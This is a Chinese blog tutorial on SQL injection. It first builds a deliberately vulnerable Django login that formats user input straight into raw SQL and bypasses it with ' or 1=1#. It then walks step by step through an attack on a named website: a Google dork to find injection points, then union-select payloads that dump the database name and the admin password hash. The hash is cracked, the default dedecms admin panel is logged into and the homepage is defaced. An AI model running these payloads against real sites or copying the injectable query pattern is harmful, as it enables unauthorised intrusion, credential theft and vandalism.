• SQL注入


    一、SQL注入攻击
    参考文章:原文点击   sql作为一种解释型语言,在运行时是由一个运行时组件解释语言代码并执行其中包含的指令的语言。基于这种执行方式,产生了一系列叫做代码注入(code injection)的漏洞 。它的数据其实是由程序员编写的代码和用户提交的数据共同组成的。程序员在web开发时,没有过滤敏感字符,绑定变量,导致攻击者可以通过sql灵活多变的语法,构造精心巧妙的语句,不择手段,达成目的,或者通过系统报错,返回对自己有用的信息。 我们在学JDBC和SQL时,讲师跟我们说 Statement不能防止SQL注入, PreparedStatement能够防止SQL注入. 没错, 这句话是没有问题的, 但到底如何进行SQL注入?怎么直观的去了解SQL注入?这还是需要花一定的时间去实验的.预编译语句java.sql.PreparedStatement ,扩展自 Statement,不但具有 Statement 的所有能力而且具有更强大的功能。不同的是,PreparedStatement 是在创建语句对象的同时给出要执行的sql语句。这样,sql语句就会被系统进行预编译,执行的速度会有所增加,尤其是在执行大语句的时候,效果更加理想。而且PreparedStatement中绑定的sql语句是可以带参数的。
    二、构建SQL注入场景
     

    注意:以下场景都不用ORM, Django orm 有防御sql 注入攻击的功能
    使用 pymysql 或构造执行原生 SQL语句

    前端:

        <div>
            <form action="test.html" method="post">
                {% csrf_token %}
                <input type="text" name="username"/>
                <input type="password" name="pwd"/>
                <input type="submit" value="提交"/>
                <input type="reset" value="重置"/>
            </form>
        </div>
    

    后端:

    #models.py数据库 注意:表名为 (app01_test) Django会自动在类名前加 app名下划线作为表名 
    class Test(models.Model):
    
        id = models.AutoField(primary_key=True)
        name = models.CharField(max_length=32)
        pwd = models.CharField(max_length=64)
    
    #views.py
    
    import pymysql
    
    def test(request, *args, **kwargs):
    
            username = request.GET.get("username", None)
            password = request.GET.get("pwd", None)
    
            connect = pymysql.connect(host='127.0.0.1', port=3306, user='root', password='123456', db='test',charset='utf8' )
            cursor = connect.cursor()
            # 黑客可通过user或者password输入数据库语句对数据非法利用
            sql_sel = " select * from app01_test where name='{0}' and pwd='{1}';".format(username, password)
            ret = cursor.execute(sql_sel)
            
            return render(request, 'test.html', {"objs": ret})
    
    2.2 准备工作好了
     
    • SQL注入
      填好正确的用户名和密码后,点击提交,返回测试界面。
      因为根据我们提交的用户名和密码被合成到SQL查询语句当中之后是这样的:
      select * from app01_test where name='用户名' and pwd='密码';
      很明显,用户名和密码都和我们之前给出的一样,肯定能够成功登陆。但是,如果我们输入一个错误的用户名或密码呢?很明显,肯定登入不了吧。恩,正常情况下是如此,但是对于有SQL注入漏洞的网站来说,只要构造个特殊的“字符串”,照样能够成功登录。
      比如:在用户名输入框中输入:’or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:
      select * from app01_test where name='' or 1=1#' and pwd='';
      语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:
      select * from app01_test where name='' or 1=1#' and pwd='';
      等价于
      select * from app01_test where name='' or 1=1
      因为1=1永远都是成立的,即where子句总是为真,将该sql进一步简化之后,等价如下select语句:
      select * from app01_test
      没错,该sql语句的作用是检索users表中的所有字段
      果不其然,我们利用万能语句(’or 1=1#)能够登录!看到了吧,一个经构造后的sql语句竟有如此可怕的破坏力,相信你看到这后,开始对sql注入有了一个理性的认识了吧~
    三、攻击原理
      正常登陆name框中填写root,pwd为123 上面sql_sel = " select * from app01_test where name='{0}' and pwd='{1}' 就相当于select * from app01_test where name=root and pwd=123 进行查询


    如果name框中填写root or 1=1 #,pwd 随便输入
    上面sql_sel = " select * from app01_test where name='{0}' and pwd='{1}'
    就相当于select * from app01_test where name=root or 1=1 # and pwd=123 进行查询
    这里的#相当于把后面的所有查询包括password查询给注释,并且 or 1 = 1的查询永远是正确的,所以sql攻击注入就完成了

    通过这样的方式就绕过了密码检查
    所以设计SQL语句时不建议这样设计,或者对特殊字符 #、or、and 等做特殊处理

    四、实际操作
     

    OK,前面铺垫了那么多,算是给大家科普了。现在我们进行第二讲,实战演练。开始之前呢,有一个互动环节。现在请大家用自己的手机登录 http://www.guoshang.tk 这个网址,简单看下。待会等我们注入攻击之后,再次登录,好对比效果,对于sql注入攻击有一个更加直观的认识。

    -(一)积极备战
     
    1、首先设置浏览器,工具--internet选项--安全--找到“显示友好的http信息”,把前面的勾去掉;
     
    2、打开谷歌,寻找注入点。为了节省时间,这里我已经事先找好目标点
    http://www.guoshang.tk
    谷歌搜索小技巧:筛选关键字:"inurl:/news/read.php?id="

    • (二)狼烟四起
       
      1、我们打开这个网址,一个新闻网站,,我们点击[百家争鸣]板块,这是一个国内外新闻速览的栏目,好多时政的帖子,我们点击一个,OK,现在进入单个帖子界面,首先我们看下当前帖子的URL地址,
      http://www.guoshang.tk/news/read.php?id=50
      可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。
       
      2、判断是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。这两句什么意思呢? 一个恒等式,一个恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 时帖子返回出错,说明sql语句被执行,程序没有对敏感字符进行过滤。现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问
      http://www.guoshang.tk/news/read.php?id=50
      时数据库中执行的SQL语句大概是这样的:
      Select * from [表名] where id=50
      添加and 1=1后的SQL语句:
      Select * from [表名] where id=50 and 1=1
      由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的
      添加and 1=2后的SQL语句:
      Select * from [表名] where id=50 and 1=2
      由于条件1=2永远为假,所以返回的页面和正常页面不一致
       
      3、爆数据库。确定注入点仅仅意味着开始。现在,我们回到原先的帖子地址:
      http://www.guoshang.tk/news/read.php?id=50
      现在要判断数据库类型以及版本,构造语句如下:
      http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51
      发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0
      以下版本或者其他类型数据库。
       
      4、爆字段。接着我们再构造如下语句来猜表中字段:
    1. http://www.guoshang.tk/news/read.php?id=50 order by 10
      返回错误页面,说明字段小于10
    2. http://www.guoshang.tk/news/read.php?id=50 order by 5
      返回正常页面,说明字段介于5和10之间
    3. http://www.guoshang.tk/news/read.php?id=50 order by 7
      返回错误页面,说明字段大于5小于7,可以判断字段数是6.下面我们再来确认一下
    4. http://www.guoshang.tk/news/read.php?id=50 order by 6
      返回正常页面,说明字段确实是6这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。
       
      5、爆表.确定字段之后现在我们要构造联合查询语句(union select ),语句如下:
      http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
      我们来看帖子页面,原先内容没有了,取而代之的是返回给了我们 三个数字,分别是3,5,6 我们随便选择一个,这里的3,5,6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字,比如版本,数据库名称,主要是用来探测web系统的信息。
       
      6、爆用户名、密码。我们选择3 吧,OK,现在把3给替换掉,先查询下数据库库名,构造语句如下
      http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6
      浏览器给我们返回了 xinwen 。说明这个网站 的数据库库名是 xinwen .
      现在我们用同样的手法查询下 管理员信息 ,构造语句如下:
      http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,user(),4,5,6
      返回 root@localhost ,是个管理员权限。
      现在我们再用同样的手法查询用户名,密码,构造语句如下:
      http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,username,4,5,6 from admin
      返回 admin
      http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,password,4,5,6 from admin
      返回 B2E5B76793EDA747382E81391AA3A400
       
      7、md5解密。看到这里,有的同学可能会有点紧张。其实返回的这个是字符串密码经过32位md5加密后的值。上次李翊大帝给我们复习的时候 讲过加密与解密。也稍稍提到了md5 摘要算法,不可逆。话虽如此,现在互联网上crack md5 “解密”md5 的网站很多,这里我给解密加了引号,是因为其“解密”原理是 md5 值既然不能进行 逆向破解,但是同样的字符串经过同样的md5加密算法所生成的md5值是一样的,我们可以重新构造字符串生成md5值,然后对比两个值,如果一样则字符串一样。有人说,这种方法岂不是海底捞针,试到猴年马月去啊,其实不然,互联网云时代已经到来,大数据的信息挖掘以及分布式运算可以解决很多类似大运算量的问题。我们现在就要来对这个md5值进行比对,有好多网站提供这种服务,我们找一个。(http://www.md5.com.cn ) 这个网址,我们把这个值复制进去,然后点击“MD5 CRACK“,“解密”时间,视密码复杂度而定,OK,结果出来,(chinaadmin)
       
      8、登录后台。现在我们已经拿到网站的管理员帐号密码,感谢上帝,一路顺风,但还不能高兴得太早。很多情况是你虽然拿到了钥匙,但是找不到门。下面我们就来找一下门,找之前要有个基本思路:
      ①先试下几个比较常用的目录;
      ②不行的话,因为这个论坛程序是dedecms5.6 ,所以我们就到 织梦官方,下载一套同样程序, 分析网站管理路径,或者直接百度“dedecms默认管理界面”即可,下载步骤可省略;
      ③手工不通,借力工具。明小子,啊D,御剑,都可以。
       
      9、这里我们发现此网站依然采用程序默认管理路径:
      http://www.guoshang.tk/dede
      输入用户名 admin ,密码 chinaadmin 成功登入。
      接下来,我们找到【核心】--【附件管理】--【文件式管理器】--这时我们可以看到网站根目录下所有目录以及文件,下标栏还有几个功能选项,我们可以看到网站首页文件【index.html】,点击【修改】,进入网页源代码编辑模式,删除所有源码(这招有点毒,劝告别改人家的源码,建议新建一个文件),留个言,表示到此一游。
  • 相关阅读:
    对于Python中self的看法
    SpringBoot整合MyBatis-Plus快速开始
    Hive原理--体系结构
    Docker Compose + Traefik v2 快速安装, 自动申请SSL证书 http转https 初次尝试
    记录:更新VS2019后单元测试运行卡住无法运行测试的问题。
    黑帽来源页劫持代码以及如何防范
    OFFICE 2010 每次打开提示安装的问题
    Mssql 查询某记录前后N条
    验证邮箱正则表达式,包含二级域名邮箱,手机号正则表达式支持170号段
    删除TFS上的团队项目
  • 原文地址:https://www.cnblogs.com/shiqi17/p/9743762.html
Copyright © 2020-2023  润新知